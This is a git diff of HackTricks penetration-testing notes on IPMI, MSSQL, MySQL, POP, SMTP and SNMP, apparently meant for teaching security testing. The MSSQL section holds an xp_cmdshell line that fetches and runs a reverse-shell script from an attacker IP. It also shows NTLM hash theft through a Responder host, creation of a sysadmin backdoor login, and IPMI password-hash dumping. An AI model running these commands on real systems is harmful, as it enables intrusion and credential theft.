GitBook: [#3529] No subject
This commit is contained in:
CPol
gitbook-bot
parent
70afcf609b
commit
10540279bb
|
|
@ -14,11 +14,23 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Information taken from** [**https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/**](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
|
||||
## Basic Information
|
||||
|
||||
Baseboard Management Controllers (BMCs) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers. These products are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and Supermicro IPMI. BMCs are often implemented as embedded ARM systems, running Linux and connected directly to the southbridge of the host system's motherboard. Network access is obtained either via 'sideband' access to an existing network card or through a dedicated interface. In addition to being built-in to various motherboards, BMCs are also sold as pluggable modules and PCI cards. Nearly all servers and workstations ship with or support some form of BMC. The Intelligent Platform Management Interface (IPMI) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network. This specification is managed by Intel and currently comes in two flavors, version 1.5 and version 2.0. The primary goal of Dan Farmer's research was on the security of the IPMI network protocol that uses UDP port 623. A diagram of the how the BMC interfaces with the system is shown below (CC-SA-3.0 (C) U. Vezzani).
|
||||
[Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`) is a set of standardized specifications for hardware-based host management systems used for system management and monitoring. It acts as an autonomous subsystem and works independently of the host's BIOS, CPU, firmware, and underlying operating system. IPMI provides sysadmins with the ability to manage and monitor systems even if they are powered off or in an unresponsive state. It operates using a direct network connection to the system's hardware and does not require access to the operating system via a login shell. IPMI can also be used for remote upgrades to systems without requiring physical access to the target host. IPMI is typically used in three ways:
|
||||
|
||||
* Before the OS has booted to modify BIOS settings
|
||||
* When the host is fully powered down
|
||||
* Access to a host after a system failure
|
||||
|
||||
When not being used for these tasks, IPMI can monitor a range of different things such as system temperature, voltage, fan status, and power supplies. It can also be used for querying inventory information, reviewing hardware logs, and alerting using SNMP. The host system can be powered off, but the IPMI module requires a power source and a LAN connection to work correctly.
|
||||
|
||||
The IPMI protocol was first published by Intel in 1998 and is now supported by over 200 system vendors, including Cisco, Dell, HP, Supermicro, Intel, and more. Systems using IPMI version 2.0 can be administered via serial over LAN, giving sysadmins the ability to view serial console output in band. To function, IPMI requires the following components:
|
||||
|
||||
* Baseboard Management Controller (BMC) - A micro-controller and essential component of an IPMI
|
||||
* Intelligent Chassis Management Bus (ICMB) - An interface that permits communication from one chassis to another
|
||||
* Intelligent Platform Management Bus (IPMB) - extends the BMC
|
||||
* IPMI Memory - stores things such as the system event log, repository store data, and more
|
||||
* Communications Interfaces - local system interfaces, serial and LAN interfaces, ICMB and PCI Management Bus
|
||||
|
||||
|
||||
|
||||
|
|
@ -38,6 +50,7 @@ You can **identify** the **version** using:
|
|||
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
|
||||
### Vulnerability - IPMI Authentication Bypass via Cipher 0
|
||||
|
|
@ -65,7 +78,7 @@ ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
|||
|
||||
### Vulnerability - IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
|
||||
|
||||
Basically, **you can ask the server for the hashes MD5 and SHA1 of any username and if the username exists those hashes will be sent back.** Yeah, as amazing as it sounds. And there is a **metasploit module** for testing this (you can select the output in John or Hashcat format):
|
||||
Basically, **you can ask the server for the a salted hashed MD5 and SHA1 of any username and if the username exists those hashes will be sent back.** Yeah, as amazing as it sounds. And there is a **metasploit module** for testing this (you can select the output in John or Hashcat format):
|
||||
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
|
|
@ -164,6 +177,11 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|||
|
||||
* `port:623`
|
||||
|
||||
## References
|
||||
|
||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
|
|
|||
|
|
@ -4,21 +4,17 @@
|
|||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Microsoft SQL Server** is a [relational database management system](https://en.wikipedia.org/wiki/Relational\_database\_management\_system) developed by [Microsoft](https://en.wikipedia.org/wiki/Microsoft). As a [database server](https://en.wikipedia.org/wiki/Database\_server), it is a [software product](https://en.wikipedia.org/wiki/Software\_product) with the primary function of storing and retrieving data as requested by other [software applications](https://en.wikipedia.org/wiki/Software\_application)—which may run either on the same computer or on another computer across a network (including the Internet).\
|
||||
**Microsoft SQL Server** is a **relational database** management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server).
|
||||
|
||||
**Default port:** 1433
|
||||
|
|
@ -27,25 +23,17 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server).
|
|||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||||
```
|
||||
|
||||
Search for _exploits/scripts/auxiliary modules_ that can be helpful to find vulnerabilities in this kind of service:
|
||||
|
||||
```bash
|
||||
searchsploit "microsoft sql server"
|
||||
nmap --script-help "*ms* and *sql*"
|
||||
msf> search mssql
|
||||
```
|
||||
|
||||
## Information
|
||||
|
||||
### **Default MS-SQL System Tables**
|
||||
|
||||
* **master Database** : Records all the system-level information for an instance of SQL Server.
|
||||
* **msdb Database** : Is used by SQL Server Agent for scheduling alerts and jobs.
|
||||
* **model Database** : Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
|
||||
* **Resource Database** : Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
|
||||
* **master Database**: Records all the system-level information for an instance of SQL Server.
|
||||
* **msdb Database**: Is used by SQL Server Agent for scheduling alerts and jobs.
|
||||
* **model Database**: Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
|
||||
* **Resource Databas**: Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
|
||||
* **tempdb Database** : Is a work-space for holding temporary objects or intermediate result sets.
|
||||
|
||||
## Info Gathering
|
||||
## Enumeration
|
||||
|
||||
### Automatic Enumeration
|
||||
|
||||
If you don't know nothing about the service:
|
||||
|
||||
|
|
@ -56,7 +44,56 @@ msf> use auxiliary/scanner/mssql/mssql_ping
|
|||
|
||||
If you **don't** **have credentials** you can try to guess them. You can use nmap or metasploit. Be careful, you can **block accounts** if you fail login several times using an existing username.
|
||||
|
||||
### Metasploit
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
### Authenticated Enumeration
|
||||
|
||||
#### Manual
|
||||
|
||||
```sql
|
||||
SELECT name FROM master.dbo.sysdatabases #Get databases
|
||||
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES; #Get table names
|
||||
#List Linked Servers
|
||||
EXEC sp_linkedservers
|
||||
SELECT * FROM sys.servers;
|
||||
#List users
|
||||
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
|
||||
#Create user with sysadmin privs
|
||||
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
||||
sp_addsrvrolemember 'hacker', 'sysadmin'
|
||||
```
|
||||
|
||||
#### Mssqlclient.py
|
||||
|
||||
You can login into the service using **impacket mssqlclient.py**
|
||||
|
||||
```bash
|
||||
mssqlclient.py -db volume -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> #Recommended -windows-auth when you are going to use a domain. use as domain the netBIOS name of the machine
|
||||
|
||||
#Once logged in you can run queries:
|
||||
SQL> select @@version;
|
||||
|
||||
#Steal NTLM hash
|
||||
sudo responder -I <interface> #Run that in other console
|
||||
SQL> exec master..xp_dirtree '\\<YOUR_RESPONDER_IP>\test' #Steal the NTLM hash, crack it with john or hashcat
|
||||
|
||||
#Try to enable code execution
|
||||
SQL> enable_xp_cmdshell
|
||||
|
||||
#Execute code, 2 sintax, for complex and non complex cmds
|
||||
SQL> xp_cmdshell whoami /all
|
||||
SQL> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
|
||||
```
|
||||
|
||||
#### sqsh
|
||||
|
||||
```bash
|
||||
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
|
||||
```
|
||||
|
||||
 (1).png>)
|
||||
|
||||
#### Metasploit
|
||||
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
|
|
@ -90,8 +127,6 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
|||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
## Tricks
|
||||
|
||||
### Execute commands
|
||||
|
|
@ -177,53 +212,6 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
|||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Having credentials
|
||||
|
||||
### Mssqlclient.py
|
||||
|
||||
You can login into the service using **impacket mssqlclient.py**
|
||||
|
||||
```bash
|
||||
mssqlclient.py -db volume -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> #Recommended -windows-auth when you are going to use a domain. use as domain the netBIOS name of the machine
|
||||
|
||||
#Once logged in you can run queries:
|
||||
SQL> select @@version;
|
||||
|
||||
#Steal NTLM hash
|
||||
sudo responder -I <interface> #Run that in other console
|
||||
SQL> exec master..xp_dirtree '\\<YOUR_RESPONDER_IP>\test' #Steal the NTLM hash, crack it with john or hashcat
|
||||
|
||||
#Try to enable code execution
|
||||
SQL> enable_xp_cmdshell
|
||||
|
||||
#Execute code, 2 sintax, for complex and non complex cmds
|
||||
SQL> xp_cmdshell whoami /all
|
||||
SQL> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
|
||||
```
|
||||
|
||||
### sqsh
|
||||
|
||||
```bash
|
||||
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
|
||||
```
|
||||
|
||||
 (1).png>)
|
||||
|
||||
## Manual
|
||||
|
||||
```sql
|
||||
SELECT name FROM master.dbo.sysdatabases #Get databases
|
||||
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES; #Get table names
|
||||
#List Linked Servers
|
||||
EXEC sp_linkedservers
|
||||
SELECT * FROM sys.servers;
|
||||
#List users
|
||||
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
|
||||
#Create user with sysadmin privs
|
||||
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
||||
sp_addsrvrolemember 'hacker', 'sysadmin'
|
||||
```
|
||||
|
||||
## Post Explotation
|
||||
|
||||
The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\
|
||||
|
|
@ -295,14 +283,10 @@ Entry_3:
|
|||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -4,15 +4,11 @@
|
|||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -72,6 +68,7 @@ show databases;
|
|||
use <database>;
|
||||
show tables;
|
||||
describe <table_name>;
|
||||
show columns from <table>;
|
||||
|
||||
select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
|
||||
select user,file_priv from mysql.user where user='root'; #File privileges
|
||||
|
|
@ -136,6 +133,19 @@ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
|||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
|
||||
#### Dangerous Settings of mysqld.cnf
|
||||
|
||||
From [https://academy.hackthebox.com/module/112/section/1238](https://academy.hackthebox.com/module/112/section/1238)
|
||||
|
||||
| **Settings** | **Description** |
|
||||
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `user` | Sets which user the MySQL service will run as. |
|
||||
| `password` | Sets the password for the MySQL user. |
|
||||
| `admin_address` | The IP address on which to listen for TCP/IP connections on the administrative network interface. |
|
||||
| `debug` | This variable indicates the current debugging settings (sensitive info inside logs) |
|
||||
| `sql_warnings` | This variable controls whether single-row INSERT statements produce an information string if warnings occur. (sensitive info inside logs) |
|
||||
| `secure_file_priv` | This variable is used to limit the effect of data import and export operations. |
|
||||
|
||||
### Privilege escalation
|
||||
|
||||
```bash
|
||||
|
|
@ -230,6 +240,8 @@ You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting
|
|||
|
||||
.png>)
|
||||
|
||||
|
||||
|
||||
### Useful files
|
||||
|
||||
Configuration Files
|
||||
|
|
@ -611,14 +623,10 @@ Entry_4:
|
|||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -4,15 +4,11 @@
|
|||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -97,6 +93,18 @@ root@kali:~# telnet $ip 110
|
|||
password: PA$$W0RD!Z
|
||||
```
|
||||
|
||||
## Dangerous Settings
|
||||
|
||||
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **Setting** | **Description** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Enables all authentication debug logging. |
|
||||
| `auth_debug_passwords` | This setting adjusts log verbosity, the submitted passwords, and the scheme gets logged. |
|
||||
| `auth_verbose` | Logs unsuccessful authentication attempts and their reasons. |
|
||||
| `auth_verbose_passwords` | Passwords used for authentication are logged and can also be truncated. |
|
||||
| `auth_anonymous_username` | This specifies the username to be used when logging in with the ANONYMOUS SASL mechanism. |
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
```
|
||||
|
|
@ -145,14 +153,10 @@ Entry_6:
|
|||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -63,6 +63,7 @@ dig +short mx google.com
|
|||
|
||||
```bash
|
||||
nmap -p25 --script smtp-commands 10.10.10.10
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
||||
### NTLM Auth - Information disclosure
|
||||
|
|
@ -384,6 +385,18 @@ The following was originally posted on openspf.org, which used to be a great res
|
|||
|
||||
This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition.
|
||||
|
||||
### **Open Relay**
|
||||
|
||||
To prevent the sent emails from being filtered by spam filters and not reaching the recipient, the sender can use a **relay server that the recipient trusts**. Often, administrators **haven't overviewed** of which **IP** ranges they have to **allow**. This results in a misconfiguration of the SMTP server that we will still often find in external and internal penetration tests. Therefore, they **allow all IP addresses** not to cause errors in the email traffic and thus not to disturb or unintentionally interrupt the communication with potential and current customers:
|
||||
|
||||
```shell-session
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
||||
### **Tools**
|
||||
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Check for SPF and DMARC misconfigurations**
|
||||
|
|
|
|||
|
|
@ -17,7 +17,7 @@
|
|||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## SNMP - Explained
|
||||
## Basic Information
|
||||
|
||||
**SNMP - Simple Network Management Protocol** is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
|
||||
|
||||
|
|
@ -26,10 +26,14 @@ PORT STATE SERVICE REASON VERSION
|
|||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
SNMP also uses the port **162/UDP** for **traps**. These are data **packets sent from the SNMP server to the client without being explicitly requested**.
|
||||
{% endhint %}
|
||||
|
||||
### MIB
|
||||
|
||||
**MIB** stands for **M**anagement **I**nformation **B**ase and is a **collection of information organized hierarchically**. These are **accessed using** a protocol such as **SNMP**. There are two types of MIBs: **scalar** and **tabular**.\
|
||||
Scalar objects define a single object instance whereas tabular objects define multiple related object instances grouped in MIB tables.
|
||||
